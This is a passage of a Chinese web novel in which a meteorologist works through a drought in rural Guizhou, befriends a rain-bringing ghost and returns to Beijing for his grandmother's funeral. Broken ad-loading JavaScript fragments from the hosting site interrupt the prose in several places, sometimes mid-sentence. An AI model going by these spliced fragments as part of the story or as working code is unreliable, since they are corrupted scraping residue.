“真好,真浪漫。”棠又又笑眼弯弯,程澍礼偏头看她一眼。 她说:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 很久以前,我看过一场新娘不愿意的婚礼,她被家人强制要求嫁给那个新郎,整场婚礼一直都在哭,哭得可伤心了。” 程澍礼问:“后来呢?” 棠又又说:“后来她就接受了,并且逼自己的女儿嫁给了不喜欢的人,而且还在婚礼上,唱了那首她的妈妈曾经唱给她的歌。” “什么歌?” “不记得了。”棠又又试着回想了下,发现很多记忆中的东西渐渐失去了轮廓。 她转而说:“不过我会另一首。” 有人过来和程澍礼打招呼,程澍礼站起来交谈几句后,重新坐回去:“哪首?” 这么一说,棠又又脑海中想起那首歌,“黄昏时阿依阿支能回来吗,木呷想念阿支时不能回,阿支在异乡过得好吗”,这么悲伤的歌词让她脸色突变,连忙挥挥手,打断程澍礼的提问:“这么喜庆的日子,唱那个不吉利不吉利。” 接着,她努力向上挺直腰背,昂起脑袋望了一圈院子,黑眼珠子滴溜溜转,像是在找什么东西。 程澍礼把凳子往她身边拉了拉,压低声音问:“找什么呢?” 棠又又兴致勃勃地说:“今天会放烟花!” 看着她一脸的兴奋劲儿,程澍礼笑了下,拿起桌上水杯喝了口水。 然而不知是什么原因,烟花并没有燃放,棠又又耷拉着肩膀坐到凳子上,脸上神色恹恹,托腮失望地叹了一口气,身上的红裙子都不鲜艳了。 “今年过年,我们去浏阳看烟花。”程澍礼看着她,坚定而认真地说。 “真的吗?”棠又又激动起来了,“我还想吃湖南米粉和酱板鸭!” “好。” “小龙虾!” “好。” “看打铁花!” “可以。” “哦对还有臭豆腐!” “......”程澍礼沉默一秒,“不可以。” 棠又又差点跳起来:“为什么?!” 程澍礼淡声:“我不想闻臭豆腐味的线香。” 棠又又真诚建议:“你可以出去。” “谢谢。”程澍礼很有礼貌,“但我不想流落街头。” “那我出去。” “湖南湘西抓鬼很厉害。” “......”棠又又抿了抿唇,“我要在看打铁花的时候吃小龙虾。” 程澍礼:“可以。” 夜色低垂,暮光初上,篝火晚会正式开始。 淅沥的雨点没有减缓宾客们的热情,他们手牵着手,围绕着橙红的火光,高昂地唱起歌曲,跟随节奏无拘无束地跳起舞蹈。 棠又又忍了好久,终于在程澍礼鼓励的眼神下,踩着欢快的步伐加入到舞蹈的人群中。 程澍礼背脊慵懒低着,背对桌子坐姿随意,眼光温和穿过欢腾的人群,直直落在棠又又身上。 一众深色盛装的男人女人,只有她一身红色,格外惹眼,细雨中,她脸上挂着灿烂的笑容,舞步没有节奏,完全随心而行,自由而恣意地穿梭在篝火和人群,从未有过的开心和喜悦, 棠又又转头看向程澍礼,目光相接,人们牵着手在她身边翩翩起舞,她停下来,静静站在原地,歪头朝他甜甜地笑了下。 烈火腾腾,周围一切声音画面消歇黯然,唯独她眉眼亮如星辰,点亮了整个夜晚。 这画面的冲击感太强,以至于在不知不觉中,它化作一股隐伏不定的重量,时而落在程澍礼心头,跳跃乱撞,时而又变得很遥远,无法触及。 程澍礼觉得这是一种很矛盾的感觉,但又很微妙,因为他在一个死去的人身上,看见到了温暖,明亮,和生机勃勃。 李多聿回来时,看见篝火的光影明灭,而程澍礼的眼神专注而真挚,仿佛世界在他眼底静止。 “看什么呢?”李多聿坐下问。 程澍礼没有回答,而是继续看向那边,唇边微微荡着一丝平和的笑。 “......”李多聿表示无语,“你这样我会以为你看到鬼了。” 恰时,有一股风缓缓流向程澍礼,送来一滴雨水。 他嗯了声:“一个很可爱的鬼。” 那天后来,棠又又没有回到吊脚楼,睡前,程澍礼将那双小皮鞋拎到小床边,摆摆好,最后才安然睡去。 27. 第二十七场雨 棠又又连着几天没回吊脚楼,程澍礼估摸着她穿上新衣服太开心,贪玩去了别的什么地方。 于是每天白天他走访试验田,中午回来喂一二三四五六和大顺,六只小狗日渐被养得健壮圆润,跟在程澍礼身后再也不会脚滑摔进稻田。 甚至在见到卓客时,它们还学会了呲牙。 卓客倒不在乎,走过来撸一把狗头,然后将测上来的水稻数据拿给程澍礼:“缺水比之前更严重了。” 程澍礼看着过去三十天的降水量:“中药基地的负责人说,部分石斛出现了根系溃烂的情况,排查后确定是缺水导致。” 接着他问:“去年六号田种的也是这个品种?” “对,当时六号田亩产超过预期的百分之十六。”卓客答道,“为了试验双季连种的效果,今年在三号田再次复种同一品种,而且早稻的产量也不低。” 他话音未落,程澍礼便道:“跟老金说一声,上报市气象局,开会。” 毒辣的高温炙烤着大地,夏蝉竭力地发出嘶喊,田埂边,几株水稻被阳光暴晒到奄奄一息。 望着天空一圈亮眼的日晕,程澍礼眼底担忧:“可能要秋旱了。” 因为雨季刚过不久,事情一经上报,就引起各级部门高度重视,从市气象局和农业局都派了专员过来,和五子顶气象站成立抗旱小组,为烂木等的秋收工作做好全力保障。 市局的人来之后,首要的便是实地走访试验田,连着三天的爬山下坡,这般坐惯了办公室的人实在受不了,一个个地瘫在五子顶气象站里仰天哀嚎。 梁晶晶鄙视地看他们一眼,顺走卓客桌上的苹果,在手里一掂一掂地出门。 程澍礼从大门外走进来,她昂下下巴:“程教授。” “又去荒山?”程澍礼看见她背后的仪器。 梁晶晶大啃一口苹果:“还有最后一片山头,测完就结束啦。” 程澍礼问:“不打把伞吗?” 梁晶晶说:“那边最近都不下雨了。” 说完,她抬步径直往外走,默了几秒,程澍礼出声叫住她:“晶晶,你在荒山有没有发现什么不一样的东西?” 梁晶晶取下嘴里叼着的苹果:“荒山不就是草啊树啊石头的,应该有什么不一样吗?” 程澍礼眸眼深黑:“你看见过一片野棠花吗?” 梁晶晶微愣,但还是回想了下:“没有,寨子里老人说以前那边确实风景不错,但七十年前下暴雨有过一次大面积的塌方,把很多东西都冲掉了,现在长在那里的就是杉木和马尾松,没看见过什么棠花。程教授,你问这个干什么?” 程澍礼没答,继续问:“坟呢?” “那更没有了,咱们这边人不会在那边修坟的,再说了那么严重的塌方,别说是坟,就是有鬼能都被冲得魂飞魄散了。” 说完梁晶晶看了眼程澍礼,他半边身体都在屋檐的阴影下,表情让人看不懂,她心头腾起一股疑云,觉得这不像是程澍礼会提出来的问题。 程澍礼平淡说:“你去忙吧,注意安全。” 梁晶晶走后,市气象局的另一人带着数据赶过来,抗旱小组紧急开了个会,忙完已经是中午十二点。 程澍礼从食堂取走蔡叔提前打包好的饭菜,带着一二三四五六下山。 吊脚楼里空旷寂静,棠又又还没回来,程澍礼摆上饭菜点好线香,站在窗边给小狗们拌狗粮。 日光粲然,在脚边泻下明亮的一片,他低头,安静地看着乖乖吃饭互不打扰的六只小狗。 吃到一半,六六突然转过来,用下巴蹭了蹭程澍礼的裤脚,他半蹲下来揉了一把它的狗头。 亮光照不到的地方,程澍礼有些为难地低声自语:“我该怎么跟她说呢?” 看着小狗吃完饭,程澍礼才坐到饭桌,刚拿起筷子,手机进来一通电话。 “我今天碰见你们侯院长了,想起来你昨天忘记打电话。”钟音站在医院走廊,声音带着特有的回音。 来贵州后,程澍礼保持一周和家里通话一次,最近因为生病和秋旱的事,昨天少打一次,钟音算好他工作的时间掐着点打过来。 钟音说:“他说你在贵州那边干得不错,不到三个月就解决了他们三年都没解决的问题。” 程澍礼正襟危坐在椅子上,背脊笔直,双腿并拢,双脚平放地面:“同事帮了很多忙。” 这份谦逊让钟音对自己的教育很满意,她淡笑:“你也帮了侯院长不少忙。” 她用疑问的语气说肯定的话,本能的,程澍礼眼神一黯。 “他说当初贵州这项目提报上来的时候,没人愿意去。”钟音的语气一直是平静的,随和的,关切的,路过的同事在她脸上看不到任何异样,“他又是看着你长大的,更舍不得放你去吃苦,没想到最后还是你第一个站出来担当大任,他跟我好一番夸你,说我真是教了个好儿子。” “当时时间比较着急。”程澍礼看眼桌上的筷子。 钟音说:“从告知到出发就三天,确实紧急,我给你准备的一些常用药都没带上。” 程澍礼缓声:“我带了一些。” “带了?”钟音笑起来,自带一股压迫气场,“看来妈妈真是记错了,我说怎么我明明记得你当初跟我说,学校其他同事都有科研项目走不开,不得已才让你去贵州的呢,我这么说,你侯叔叔还笑话我说马上要跟你奶奶一样了。” “妈。”程澍礼喉结滚动两下,他闭了闭眼,“我回去跟您解释。” 电话那头无声两秒,钟音再度开口:“马上中秋了,回来看看你奶奶,她最近老说想你。” 程澍礼答应:“我中秋回去。” 挂掉电话后,天上云层挡住太阳,屋内光景一时有些昏暗,窗棱随风吱哑摇晃,小狗轻轻打鼾,但是屋子里从未这么寂静过,静得像是能把人悄然淹没。 再没吃饭的心情,程澍礼将饭菜原封不动地放进冰箱,出门上山去气象站。 晚上,趁林钰文还没休息,程澍礼给照顾她的保姆拨过去一个视频通话。 程开济在学校开会,钟音医院上夜班,家里只有保姆和老太太,保姆将手机放茶几上找好角度,快一百岁的老太太慈祥地窝在客厅沙发,透过小小屏幕,眼里满是爱意地看着程澍礼:“啊呀这是谁啊?” 这是还清醒。 程澍礼笑:“奶奶,晚上吃了什么?” 老太太精神不错,就是年纪大了口齿不清:“小林炖了猪肘子,那么大个,香 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 死个人,我吃了两块呢。” 程澍礼:“您小声点,别被我妈知道了。” 作为医生,钟音严格要求全家健康饮食,甚至到了苛刻的地步,平时老太太多吃一口肉,她要训诫保姆半天。同样的,因为担心程开济的糖尿病会遗传,从程澍礼五岁开始,她就不准他吃任何糖果类的零食。 “我这么大年纪了,还在乎那个。”她说着,保姆小林过来给她盖了条毯子。 林钰文问:“你什么时候回来?” 程澍礼说:“中秋回去看您。” “回来好,我给你在盒子里放了糖。” “还是书柜第二层那个饼干桶?” 林钰文嘘了声:“别让你妈听见。” 但沉闷的心情好了一点,程澍礼刚要说话,又听见林钰文孩子气地说:“还有点惊喜。” “什么惊喜?” “你看了就知道了。” “西瓜泡泡糖还是明信片?” “你这孩子记性这么差!”林钰文啧了声,“昨天你不是还问我的吗?” 这是又糊涂了。 果然。 “叙儿啊,你吃了吗?”老太太突然眼眶一红,嘴里含糊不清地把澍儿念成叙儿,不停关心他吃饭了没,“你得吃啊,不能不吃啊。” 下一秒,她脸色骤变:“你是谁?你不是叙儿,你知道叙儿在哪儿吗?” 这模样把程澍礼看得胸口发涩。 他记忆中,最开始老太太不是这样的,那时候程开济总出差考察,钟音上班忙,他童年都是跟林钰文过的。林钰文没事儿就带着他串胡同,给他买奶油味的双棒冰棍,那会儿北京还是瓦蓝瓦蓝的天,程澍礼就爱坐在银杏树下看天上的大白云。 林钰文摸他脑袋:“天上可不止有大白云,等你长大了,还能发现很多神奇的东西。” 岁月一过,林钰文已经不记得很多事情,这种感觉就像时间把他们分割开来,他会出现在她每个记忆的瞬间,但是站在她面前时,却还是会被她抛弃。 一一和三三凑过来拱他脚背,软软地哼唧两声,眼里浮现出找不到主人的可怜。 程澍礼抱起小狗,目光落向摆在一块的青瓷茶盏和小狗马克杯,和小狗一样,难得有了一丝被人抛弃的落寞。 第二天,程澍礼准时睁眼,他偏下头,将醒的眼神忽而定住,慢慢明朗。 窗外的风掀起帘子一角,棠又又躺在里边的小床上,已经换回了原来的衣服。 她不知道跑去哪里玩了,一副很疲惫的样子,睡得格外沉。 程澍礼放轻动作翻了个身,视线注视着她,帘子一起一落,光线一明一暗,时间在这一刻无限拉长,散发出夏天早晨特有的安宁。 程澍礼起床洗漱上班,偶然听见从小床上发出的声音,他就停下动作,静下来听两秒确定没有吵醒她后,再继续小心翼翼的收拾东西。 这是来到棋山之后,程澍礼第一次的迟到。 但他并没有因此推迟中午下班的时间,一到点,他就关上电脑,蔡叔把打包好的饭菜递给他,打趣说:“程教授每天都要回家吃饭,是家里有什么重要的事情吗?” 程澍礼笑着说:“回家吃饭,就是最重要的事情。” 28. 第二十八场雨 吃饭的时候,棠又又显得兴味索然,不仅没动筷子,连放在手边的可乐都没打开。 程澍礼问:“怎么了?” 棠又又口中发出一声苦涩的叹息,怅惘道:“我的坟垮了。” “......”一句话让程澍礼还在斟酌说辞的引擎直接熄火。 “你怎么知道的?” 棠又又略微探身,声音平平:“我跟在你们气象站那个小姑娘后面,把荒山绕了个遍,还是第一次知道原来有个地方是塌方过的,难怪每次我经过那一片都觉得很眼熟呢。” “眼熟?”程澍礼喝着茶水,问了句。 棠又又坐直起来,极其严肃地说:“我感觉,我的记忆在慢慢恢复了。” “最近我脑子里总闪过一些画面,而且每次都和那个地方有关。”棠又又小脸白白净净,边说边回忆,“画面里我躺在一片野棠花旁边,身边站着一个男人,虽然我看不清那人的样子,但能看见他手里举着好大一把铲子,用力地往我身上拍。” 说到这,她像是把自己吓到了,后怕的一激灵:“该不会是弄死我的那人吧。” 程澍礼听着她的话,思忖一瞬:“除此之外还有别的吗?” 棠又又说:“没有了。” 不仅是没有了新的画面,甚至还开始慢慢丢失一些旧的记忆。 “那如果你的坟没有了。”程澍礼也在思考,换了个方向问,“是不是就意味着你自由了?” 棠又又摇一摇头:“不是。” 当她意识到自己的坟茔被塌方冲毁之后,心里有过和程澍礼同样的想法,于是她到最西边的岩口峰,试着想走出去。 结果和以前一样,一股无形的力量死死地束缚着她,乃至于比中元节撕扯之痛更要残酷。 那种感受就像是,有人刻意在暗中降下诅咒,警告她只要再敢靠近边界一步,便会立刻灰飞烟灭。 也难怪,毕竟毕摩只告诉她说要找坟,却没说坟没了要怎么办。 执着寻找了这么长时间,到头来发现是白费力气,棠又又有点沮丧:“我要永远待在这里了。” “坟没了就想别的办法。”程澍礼如是说道。 棠又又抬眸看去,程教授身上那股锲而不舍的科研精神再次得以展现。 他的眼神仍然是清淡的,平和的,不露过多情绪的,但话语中蕴含着无比安心的力量:“一种研究方法行不通,不代表我们在探索未知的道路上毫无进展,我们可以换另外一种研究方法,只要沿着一个研究方向坚持下去,科学不会放弃你的。” 棠又又歪头拖着脑袋,娇俏揶揄:“我还是研究对象?” 程澍礼替她拉开可乐的拉环,不答反说:“如果你相信我的话,这条路走到头的时候,就继续跟我一起吃饭。” 窗外阳光泛起它碧色的光晕,吊脚楼里空气暖绵绵。 棠又又再一次眉开眼笑,她没去拿倒了可乐的马克杯,而是双手捧起属于她的青瓷茶盏,轻轻碰下程澍礼的:“我还可以陪你喝点茶。” 吃过饭,棠又又又开始犯懒,躺在小床上沉沉睡去,一二三四五六守在床边的地上,头顶头睡了一圈。 程澍礼走出吊脚楼,门一开,山风穿堂而过,桌上书页被吹得哗哗作响,迎面的细碎雨点落在衣服下摆,棠又又和梁晶晶的话突然同时从记忆中浮现。 “我跟在你们气象站那个小姑娘后面,把荒山绕了个遍......” “那边最近都不下雨了。” 程澍礼不禁狐疑回头,往屋子深处看了一眼,心里忽地升起一丝自己也说不明白的古怪。 没等他细想,卓客拨过来一个电话,话态很急,程澍礼关好门,打伞转身离开。 ...... 五子顶气象站会议室,气氛肃穆。 市气象局领导皱眉听完下属的汇报,郑重开口道:“因为这次秋旱,林业局那边已接收到好几起森林火情报告,形势相当紧迫,各级部门十分重视。” 顿了顿,他目光如炬扫视全场:“我们当前首要的任务,就是要立即启动全面的监测机制,对烂木等山区的各项气象指标进行全方位监测,并且要根据评估结果,为各部门提供专业的抗旱救灾的气象服务,为他们提供强有力的决策支持,要尽最大努力把种植户的损失降到最小最低。” “烂木等七十年那次旱灾,我们应对能力差,最终是一场暴雨救了我们。”说到这,领导的语气充满了难以掩饰的沉痛,“但那次旱情,也让山区人民付出了深刻惨痛的代价,而在今天,科技迅猛发展,我们的预警应对能力都大幅度提升,这是自然对我们的一次考验,我们绝不能让过去的事情重蹈覆辙!” 散会后,大家陆续朝外走,其中一个年轻人问与他结伴的同事:“吴哥,七十年前那次多严重啊?” “你还小没听说过。”被叫吴哥的人鬓发花白,看上去有些年纪,他低声说:“七十年前那是个大旱年,从一开春就没下过什么雨,地干得跟裂开了一样,别说种地了,这边山里的人连口水都喝不上,饿死了不少老人小孩,最可怕的是还爆发了麻风病疫。” 哪怕没有亲历,但光是看到那些书上记载的画面和文字,就让人心生不忍。 末了,吴哥怆然感叹:“那段日子,太苦了啊。” 在他们身后,程澍礼缓步走出会议室大门,他面无表情,在想刚才会上领导说的那句话, 七十年前。 为什么七十年前的那次大旱,刚好是一场大暴雨拯救了灾情。 而为什么又偏偏是那场雨,冲垮了棠又又的坟茔。 众多思绪纷乱交织,如丝线般彼此缠脚在一起,它们似乎在有意地指引程澍礼走向某处,可又仿佛缺少最关键的一环,导致事实真相隔着一层面纱,不肯露出真实的面目。 平生第一次,程澍礼因为想不明白一个问题,而影响了食欲,棠又又不喜欢一个人吃饭,也跟着放下筷子。 程澍礼收拾餐桌到厨房洗碗。 一二三四五六在外面玩水跑酷,大顺在吃草,棠又又坐在小床上看向正在洗碗的程澍礼。 流水潺潺,他站在狭小的厨房里,衣袖随意挽到手肘,认真而有序地清洗手上的碗盘,清水反着白灯,给他的背影勾勒一层薄薄的柔光。 棠又又问:“程澍礼。” 程澍礼没回头:“怎么了?” “吃不完的东西为什么要放进冰箱?”也没怎么,她就是觉得吊脚楼安静得有些空旷,想和他说话,说什么都行。 程澍礼习惯了她的心血来潮:“不放冰箱东西就会坏掉。” 棠又又说:“辣的不放冰箱不会坏的。” “甜的和咸的才不会坏。”程澍礼纠正她,把洗干净的碗放到水龙头下又冲一遍。 “辣的也不会。”棠又又不服气地坚持。 程澍礼低头擦碗上的水珠,他是讲道理的人:“甜咸食物的保鲜原理,是让细菌脱水脱得快然后死掉,它们就无法在食物上繁衍生存。” 而棠又又最会举一反三:“辣的会让它们渴死。” “什么?”这句程澍礼没听到。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 棠又又拔高音量:“辣的会把细菌渴死!” 程澍礼手上动作没停,一咬牙狠心道:“把它们呛死吧要不。” 棠又又躺倒在小床上哈哈大笑。 但程澍礼并没有因此变得轻松,反而是在走访过农田果园,看到越来越严重的旱情后,心情愈发沉重。 在水文部门的协调下,已经调度河水资源进行农业灌溉,山下农田情况有所缓解,而部分中药果园则没有这么幸运,它们大部分建在山上,应急调水难度大,无法从根本上解决问题。 同时气象数据显示,这种可怕的干旱形势将持续很长一段时间。 除此之外,他还发现棠又又的雨似乎下得越来越小了。 他问:“你是不是去过中药田?”因为那边的负责人说新一批的石斛发芽了。 棠又又否认:“没有。”接着她眼睛一亮,很激动的语气:“是不是你也发现我的雨变小了,可能要不了多久,我就不会下雨了。” 但转念一想,她又觉得这雨小的真不是时候,嘟囔道:“可惜的是,如果我能一直下雨,就能解决烂木等的旱灾了。”说完她抿一口可乐,酸甜爆爽,激得她皱起鼻子眼睛。 程澍礼坐在她对面,目光直视她片刻,想要问什么又止住了,最后只说了句:“不可惜。” 不知道为什么,这几天下来,程澍礼心里总有一种怪异的感觉,好像隐隐觉得很不安,但每当他静下心来想要厘清时,那丝怪异带来的不安就迅速游走,剩下一片空白头绪。 终于在不慎写下第三个错误时,程澍礼坐不住了,觉得自己需要冷静一下。 他走到帘子边上,问棠又又:“想吃冰棍吗?” “啊?”棠又又猛地坐起来,看着他一愣一愣眨眼睛,“现在吗?” 程澍礼点下头,说:“对,现在。” 一眨眼的功夫,棠又又“嗖”地站到他面前,快到程澍礼还没反应过来,她就消失不见了。 棠又又提起裙子边跑边朝外头喊:“孩子们!朝廷放粮啦!” 因为秋旱高温,政.府联合各寨发动村民守山防火,诺苏今天不在小卖部。 程澍礼点好线香,甩了几下火柴确认彻底熄灭后,又搁玻璃柜上晾了会,最后才扔进旁边的垃圾桶。 他拆了支冰棍递给棠又又,棠又又接过来,但是没吃,放手里拿着。 其实程澍礼也就吃了一口,然后那股不安感就席卷重来,摁在他的心跳上,一下重过一下。 小卖部屋檐下,棠又又坐在柜台边的小椅子上,听见他深深吸气的声音。 她仰头看他,树影落在他们中间,被风吹得飘摇晃动,程澍礼眼神定定看着远处什么地方,但是没有聚焦,停了好一会儿,脸上也没有什么表情, 拿冰棍的手垂在身侧,冰棍融化滴落在地面。 棠又又不知道他在想什么,但是直觉告诉她,程澍礼可能有点难过。 连他自己都没有察觉到的难过。 她低下头,轻轻咬了一口冰冷的雪糕。渐渐的,外面雨势变大,噼里啪啦地砸在集装箱顶上,雨雾升腾,很快弥漫连绵的万里群山。 程澍礼缓缓抬头,看向漫天大雨。 雨幕如帘,每一滴都带着极大的重量。 忽然,从远处飞来两只萤火虫,银亮轨迹割开雨水,也将时间定格,雨声消歇,涟漪凝固,天地万物猝然静止,程澍礼眼底只剩两道清晰交缠的弧线。 ...... 三天后,林钰文去世,程澍礼回到北京奔丧。 29. 第二十九场雨 林钰文的丧事一切从简,来吊唁的除了程家的朋友亲信,还有林钰文生前教过的学生,灵堂哀乐环绕,大家默声不语,整个告别厅里笼罩着哀伤而悲恸的气息。 家属区,程澍礼一身黑色西装,面色沉重地站在程开济身边,向每一位过来悼念的人鞠躬回礼。 钟音透露出从未有过的凄怆,眼泪涟涟,用尽全身力气维系最后的体面。 中途,程澍礼出来送几位长辈,几位吊唁完还未离开的宾客站在门口抽烟短叙。 一位知道程阮两家交好的宾客问:“阮家那边没人来送送?” “阮家早没人了。”另一位知晓情况的宾客接话,话里不免惆怅,“阮家老爷子几个月前就走了,后事儿还是程家帮着去办的。” 那人啊了声:“别的旁系也没了?” “这阮老爷子也是命苦,还小的时候遇上战争爆发,他大哥参军当飞行员,没多久就死在了战场上,算是为国捐躯吧,有个姐姐呢,说是出去上大学,结果一走就再没回来,可怜阮老爷子他爹为了找自己女儿,在外奔波好几年,回来没多久就病重去世了,最后阮家就剩阮老爷子跟他老母亲,再等老母亲一走,就只剩他自己,话说回来,这阮老爷子也不知道怎么想的,一辈子不娶妻不生子,也没离开过山东半步。”说话的人重重叹了一口气,“估计是给两哥哥姐姐守着回家的门呢吧。” 听完这番话,在场的几人都为这位阮老爷子的一生感到同情,闷声不响地低头抽烟。 几步以外的台阶上,程澍礼背脊僵直,视线定在地上,大脑一片混乱,直到钟音又叫了好几声,他才堪堪回过神。 不满他的失态,钟音眉心紧皱:“侯院长来了。” “侯叔叔。”程澍礼向前一步,上身微微前倾,恭敬地向来人伸出右手。 工作中叫侯院长,但在私下里,程澍礼还像小时候住京大教工楼那样,称呼侯明为侯叔叔。 侯明回握他的手,拍了拍他的肩膀:“节哀。” 钟音双手交叠轻放在身前,淡笑着说:“你侯叔叔听说你回来,专门过来看看你。” 侯明也笑:“最近学院里工作太忙了,还没来得及问你最近的情况,我听说那边发生秋旱了?” “劳您费心。”程澍礼回答,像汇报工作一样严谨,“目前平均降水量比往年同期减少七成,连续三十天降雨总量小于40毫米,受旱面积接近一万亩,因为山区地形复杂,直升机作业难度大。所以已经申请了人工降雨。” “确实九月份之后,副热带高压迅速东撤,导致中东部以偏北风为主,印缅槽又持续偏弱,水汽条件差,自然会导致降水变少。”侯明了然地说道,顿了顿,他又补充了句:“不过还好是派你去的,你经验丰富底子扎实,派别人去真不一定有你管用。” “应该的。”程澍礼说。 说着,侯明转过来看着钟音:“钟音啊,你这个儿子是大才啊!从学院角度讲,我们希望这样的人才越多越好,但要是我个人,我还真舍不得他窝在学校里当个老师,屈才了呀!” 这一大番夸赞让钟音笑容满面,她目光一转,先是瞥了眼程澍礼,很快又转回侯明身上:“都是学校栽培的好。” “咱们都是自己人,那客套话就免了吧。”侯明摆了摆手,神情正色,“本来我是真不想让他去贵州,还是老太太亲自给我打了电话,说一定要让他去。” 程澍礼看了他一眼。 侯明继续说:“你们一家子都这么深明大义,那教出来的孩子定不是平庸之辈。” 钟音保持着得体的笑,笑意不达眼底,欣慰地看向一言不发的程澍礼。 葬礼结束后,程开济还有些事情要处理,钟音和程澍礼先回家。 进门之后,气氛陡然变得压抑而窒息,墨色浓云挤走天空最后的光线,屋里只亮一盏小灯,卧室书房的黑暗围在四周,钟音面色阴沉地坐在客厅沙发上。 保姆小林过来倒水,被还在门口的程澍礼拦下,用眼神示意她回自己房间。 小林一走,客厅里一片寂静,外面也静,平日里活泼热闹的校园此刻噤若寒蝉。 程澍礼走到茶几边,倒了杯温水,弯腰双手递给钟音,钟音别过头去没接,也没开口说话 避开桌上的牛皮纸袋和几本书,程澍礼将水杯放在她手边。 如果有人看见钟音不说话冷脸的样子,绝不会相信这是医院里那个亲切温和的钟主任。 她不说话,是要等着程澍礼先说。 程澍礼站到对面,身姿笔直挺正,像小时候被钟音教育的那样,谈吐声音要清晰,要让对方能听清,但不能过大,也不能有情绪,要不紧不慢。 他说:“对不起妈妈,我不该骗你。” 钟音沉默不语,程澍礼继续说:“当初去贵州是我自己的想法,因为刚入职京大,工作不算忙,学生目前也只需远程指导,所以就想做几个项目写篇论文。” 话音未落,钟音怒极反笑:“你还缺这一篇论文?” 不仅是钟音,任谁听到这个理由都不会相信。 美国海洋大气管理局最年轻的研究学者,野外大气实验室的负责人,由他主导的南极极端气候领域的突破性研究论文,一经问世就让整个气象学界为之震撼。 这样一份简历放在任何地方,都是耀眼夺目的存在,他根本不需要一篇天气异象的论文为自己的学术生涯搭桥铺路。 钟音知道他是为了什么:“你是不是特别恨我把你从美国叫回来?” 程澍礼垂首站在灯下,诚恳地说:“没有。” “没有。”钟音嗓音尖利地重复,“没有你让你奶奶给侯明打电话?” 程澍礼解释说:“奶奶给侯院长打电话的事情,我不知道。” 钟音心里的怒气不断上涌:“那你这次回去就交接,交接完立刻回北京来。” 程澍礼闭了下眼:“烂木等秋旱形势严峻,我暂时还不能回来。” “还在狡辩!”钟音勃然大斥,她随手抄起桌上的一个水杯,用力狠狠掷向地面:“你就这么不想待在北京!” 听见声音,小林赶忙跑出来,看见林钰文生前吃药喝水的杯子变成了一地碎片,眼眶一红,吸着鼻子转身去拿扫帚。 看着她因为哭过而红肿的眼睛,程澍礼接过扫帚,又让她回去休息。 他仔细将地上的玻璃碎片扫起来,自始至终都情绪稳定,稳定的像是完全没有情绪。 扫完,他躬身翻出茶几底下的医药箱,找到碘酒和面前,半蹲在地上给钟音被碎片划伤的脚踝。 钟音冷眼看着他的动作,心底是极其失望的:“你待在北京待在我身边,这样我们能好好照顾你,你到底为什么不愿意?你是我儿子,难道我会害你吗?就非要跑到那野外,跑到那么危险的地方,让我跟你爸爸在家担惊受怕?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>以往说起这个问题时,钟音还算心平气和,但也基本一意孤行,坚持让他回到北京入职京大,今天是她第一次这么歇斯底里,知道沟通无用,程澍礼徒生一股无力感。 外面起了大风,寒意顺着窗户钻进客厅,温度骤降。 程澍礼走到阳台关上窗户,绕回来看了钟音一眼,态度依旧恭顺:“创可贴过期了,我出去买新的。”然后他转身走向门口。 “站住!”钟音沉下来声音,“你就站那说清楚,你是不是特别恨我。” 程澍礼站在昏暗的玄关,背影沉寂。 隔了半晌,钟音听见他哑着声音说:“我唯独不能接受您用假病历骗我的事。” “是我想这样?我都是因为谁!”钟音眼中含泪,怒不可遏地质问他,“为了你入职京大我花了多少功夫!你却迟迟不愿意回来,对得起我的努力吗?” 她颤抖着咆哮出声:“你怎么这么自私!” 没有反驳,程澍礼克制地点点头,说道:“妈妈,我先出门了。” 药店在离教职工楼几百米的地方,步行十分钟,但程澍礼开了车。 买完创可贴他没回家,而是将车开到京大旁边的一条小路上,路上两边都是高耸的大树,树影投落下来,这里的夜色浓郁,能掩盖一切不想被人知道的情绪。 停车熄火,程澍礼抬了下手,摁掉了车灯,他一动不动靠在座椅里,从窗外的视角,只能看见他微抿的唇和紧绷的脸颊线条。 北京初秋的夜晚,空气里有了肃杀冷清的味道,冷冽狂风卷起地上的落叶,洋洋洒洒地飞舞在半空。 程澍礼茫然地看着那些落叶,脑中回想钟音最后说的那句话。 回望过去钟音对他的苛刻教育,不止一次地说过程澍礼自私。 小时候因为没有把喜欢的玩具送给堂弟,被她说自私,因为偷吃一块糖果,被说自私,上学考试没有达到钟音的要求,被说自私,接着长大之后,他想从事自己喜欢的工作,也会被骂自私。 其实很长一段时间,程澍礼都特别矛盾。 想自由但是不能肆意,被规训了又不甘心,就像他被钟音用伪造的病历逼回北京,又抓住帮扶的机会逃到贵州。 当极度的理性无法压制杂念,思绪乱到超出掌控,他一度觉得自己是精神出了问题。 所以在棋山看见棠又又的第一眼,除了怀疑,还有难以言说的解脱。 想到棠又又,程澍礼胸口的积郁似乎消去一点点,内心深处活了一点点,而后在深夜中,他轻轻笑了一声。 阿尧下午发过消息,说已经在吊脚楼里点了线香。这是临走时,程澍礼拜托他的,每天抽空去喂下一二三四五六和大顺,顺便在吊脚楼里点一根线香,理由是净化空气。 他准备了很多可乐和糖果,藏在只有他和棠又又知道的地方,足够她这段时间享用。 调节完情绪,程澍礼双手捂脸用力搓了搓,随后打开手机查看雨水感应软件,上面显示从六点之后传感器一直监测到有雨水。 他一直盯着电子屏幕,看了很长时间,微光反在脸上,照出眸底的平静专注,程澍礼手指点点屏幕,没忍住淡笑了下。 像是透过那些冰冷的数据看见了一个活泼的棠又又。 坐了会儿,程开济的信息发过来:“你妈妈睡了。” 程澍礼眼色一凝,他深呼吸了下,又缓了两秒,驱车驶离深夜的街道。 30. 第三十场雨 程澍礼回家时,程开济坐在沙发上等他,正戴着眼镜看什么东西,听见门开的声音,他抻头望了望:“回来了。” 程澍礼应了一声,然后关门换好鞋,走到茶几对面坐下,知道程开济有话要说。 程开济坐到沙发上,将泡好的茶倒了一杯给程澍礼:“来。” “谢谢爸。”程澍礼双手接过茶盏。 “跟你妈吵架了?”程开济一进家门,就敏锐地察觉到异常,从来都要在晚上钻研疑难病例的钟主任,今天竟然早早地就去睡了觉。 程澍礼避而不答。 